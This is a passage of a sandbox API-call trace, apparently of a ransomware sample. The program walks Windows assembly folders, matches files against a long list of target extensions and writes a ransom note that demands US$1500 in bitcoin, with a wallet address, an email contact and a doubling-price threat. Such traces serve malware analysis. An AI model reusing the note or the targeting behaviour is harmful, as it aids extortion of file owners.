(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.doc") returned 0 [0121.378] lstrlenA (lpString="*.doc") returned 5 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.dot") returned 0 [0121.378] lstrlenA (lpString="*.dot") returned 5 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.docx") returned 0 [0121.380] lstrlenA (lpString="*.docx") returned 6 [0121.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.7z") returned 0 [0121.380] lstrlenA (lpString="*.7z") returned 4 [0121.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.tar") returned 0 [0121.380] lstrlenA (lpString="*.tar") returned 5 [0121.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.bz2") returned 0 [0121.380] lstrlenA (lpString="*.bz2") returned 5 [0121.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.gz") returned 0 [0121.380] lstrlenA (lpString="*.gz") returned 4 [0121.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.mkv") returned 0 [0121.380] lstrlenA (lpString="*.mkv") returned 5 [0121.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.eml") returned 0 [0121.380] lstrlenA (lpString="*.eml") returned 5 [0121.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.msg") returned 0 [0121.380] lstrlenA (lpString="*.msg") returned 5 [0121.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.edb") returned 0 [0121.380] lstrlenA (lpString="*.edb") returned 5 [0121.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.accdb") returned 0 [0121.380] lstrlenA (lpString="*.accdb") returned 7 [0121.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.odb") returned 0 [0121.380] lstrlenA (lpString="*.odb") returned 5 [0121.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.java") returned 0 [0121.380] lstrlenA (lpString="*.java") returned 6 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.asm") returned 0 [0121.381] lstrlenA (lpString="*.asm") returned 5 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.pfx") returned 0 [0121.381] lstrlenA (lpString="*.pfx") returned 5 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.pem") returned 0 [0121.381] lstrlenA (lpString="*.pem") returned 5 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.p12") returned 0 [0121.381] lstrlenA (lpString="*.p12") returned 5 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.gpg") returned 0 [0121.381] lstrlenA (lpString="*.gpg") returned 5 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.vsd") returned 0 [0121.381] lstrlenA (lpString="*.vsd") returned 5 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.odg") returned 0 [0121.381] lstrlenA (lpString="*.odg") returned 5 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.raw") returned 0 [0121.381] lstrlenA (lpString="*.raw") returned 5 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.nef") returned 0 [0121.381] lstrlenA (lpString="*.nef") returned 5 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.svg") returned 0 [0121.381] lstrlenA (lpString="*.svg") returned 5 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.psd") returned 0 [0121.381] lstrlenA (lpString="*.psd") returned 5 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.vmx") returned 0 [0121.381] lstrlenA (lpString="*.vmx") returned 5 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0121.381] lstrlenA (lpString="*.vmdk") returned 6 [0121.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.vdi") returned 0 [0121.381] lstrlenA (lpString="*.vdi") returned 5 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.lay6") returned 0 [0121.382] lstrlenA (lpString="*.lay6") returned 6 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0121.382] lstrlenA (lpString="*.mpeg") returned 6 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.djvu") returned 0 [0121.382] lstrlenA (lpString="*.djvu") returned 6 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.tiff") returned 0 [0121.382] lstrlenA (lpString="*.tiff") returned 6 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.backup") returned 0 [0121.382] lstrlenA (lpString="*.backup") returned 8 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.pdf") returned 0 [0121.382] lstrlenA (lpString="*.pdf") returned 5 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.cert") returned 0 [0121.382] lstrlenA (lpString="*.cert") returned 6 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.docm") returned 0 [0121.382] lstrlenA (lpString="*.docm") returned 6 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0121.382] lstrlenA (lpString="*.xlsm") returned 6 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.dwg") returned 0 [0121.382] lstrlenA (lpString="*.dwg") returned 5 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.nd") returned 0 [0121.382] lstrlenA (lpString="*.nd") returned 4 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.tlg") returned 0 [0121.382] lstrlenA (lpString="*.tlg") returned 5 [0121.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.lgb") returned 0 [0121.382] lstrlenA (lpString="*.lgb") returned 5 [0121.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.mov") returned 0 [0121.383] lstrlenA (lpString="*.mov") returned 5 [0121.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.xdw") returned 0 [0121.383] lstrlenA (lpString="*.xdw") returned 5 [0121.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.ods") returned 0 [0121.383] lstrlenA (lpString="*.ods") returned 5 [0121.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.wav") returned 0 [0121.383] lstrlenA (lpString="*.wav") returned 5 [0121.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.mp3") returned 0 [0121.383] lstrlenA (lpString="*.mp3") returned 5 [0121.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.aiff") returned 0 [0121.383] lstrlenA (lpString="*.aiff") returned 6 [0121.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.flac") returned 0 [0121.383] lstrlenA (lpString="*.flac") returned 6 [0121.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.m4a") returned 0 [0121.383] lstrlenA (lpString="*.m4a") returned 5 [0121.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.csv") returned 0 [0121.383] lstrlenA (lpString="*.csv") returned 5 [0121.383] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83076a50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x83076a50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x83076a50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xf84, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0121.383] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0121.383] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830508f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x83076a50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x83076a50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0f5cd81189d950112651def9926ac257", cAlternateFileName="0F5CD8~1")) returned 0 [0121.383] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0121.383] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadec1130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadec1130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadec1130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.1586a486#", cAlternateFileName="SYSTEM~1.158")) returned 1 [0121.383] lstrcmpA (lpString1=".", lpString2="System.Web.1586a486#") returned -1 [0121.383] lstrcmpA (lpString1="..", lpString2="System.Web.1586a486#") returned -1 [0121.383] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0121.383] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.1586a486#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#" [0121.384] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#") returned 67 [0121.384] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadec1130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadec1130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadec1130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0121.387] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.387] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadec1130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadec1130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadec1130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.387] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.387] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.387] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadec1130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadec1130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadec1130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="966cf3eae0dc46e589021e83a9ecdd06", cAlternateFileName="966CF3~1")) returned 1 [0121.387] lstrcmpA (lpString1=".", lpString2="966cf3eae0dc46e589021e83a9ecdd06") returned -1 [0121.387] lstrcmpA (lpString1="..", lpString2="966cf3eae0dc46e589021e83a9ecdd06") returned -1 [0121.387] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\*.*") returned="*.*" [0121.387] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\", lpString2="966cf3eae0dc46e589021e83a9ecdd06" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06" [0121.387] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06") returned 100 [0121.387] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadec1130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadec1130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadec1130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0121.970] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.970] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadec1130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadec1130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadec1130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.974] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.974] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.974] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadec1130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xadec1130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xadec1130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4c000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.DataVisualization.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0121.974] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.974] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DataVisualization.Design.ni.dll") returned -1 [0121.974] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DataVisualization.Design.ni.dll") returned -1 [0121.974] lstrcmpiA (lpString1="", lpString2="System.Web.DataVisualization.Design.ni.dll") returned -1 [0121.974] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\*.*") returned="*.*" [0121.974] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\" [0121.974] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\") returned="" [0121.974] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\HOW TO DECRYPT FILES.txt" [0121.974] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\how to decrypt files.txt")) returned 0xffffffff [0121.975] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0121.977] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0121.977] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0121.978] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0121.978] CloseHandle (hObject=0x90) returned 1 [0121.979] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\", lpString2="System.Web.DataVisualization.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll" [0121.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.ems") returned 0 [0121.979] lstrlenA (lpString="*.ems") returned 5 [0121.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.db") returned 0 [0121.979] lstrlenA (lpString="*.db") returned 4 [0121.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.dbf") returned 0 [0121.979] lstrlenA (lpString="*.dbf") returned 5 [0121.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.myox") returned 0 [0121.979] lstrlenA (lpString="*.myox") returned 6 [0121.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.myo") returned 0 [0121.979] lstrlenA (lpString="*.myo") returned 5 [0121.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.qbw") returned 0 [0121.979] lstrlenA (lpString="*.qbw") returned 5 [0121.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.qbb") returned 0 [0121.979] lstrlenA (lpString="*.qbb") returned 5 [0121.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.qbm") returned 0 [0121.979] lstrlenA (lpString="*.qbm") returned 5 [0121.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.qbo") returned 0 [0121.979] lstrlenA (lpString="*.qbo") returned 5 [0121.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\System.Web.DataVisualization.Design.ni.dll", pszSpec="*.qbx") returned 0 [0121.979] lstrlenA (lpString="*.qbx") returned 5 [0121.980] PathMatchSpecA 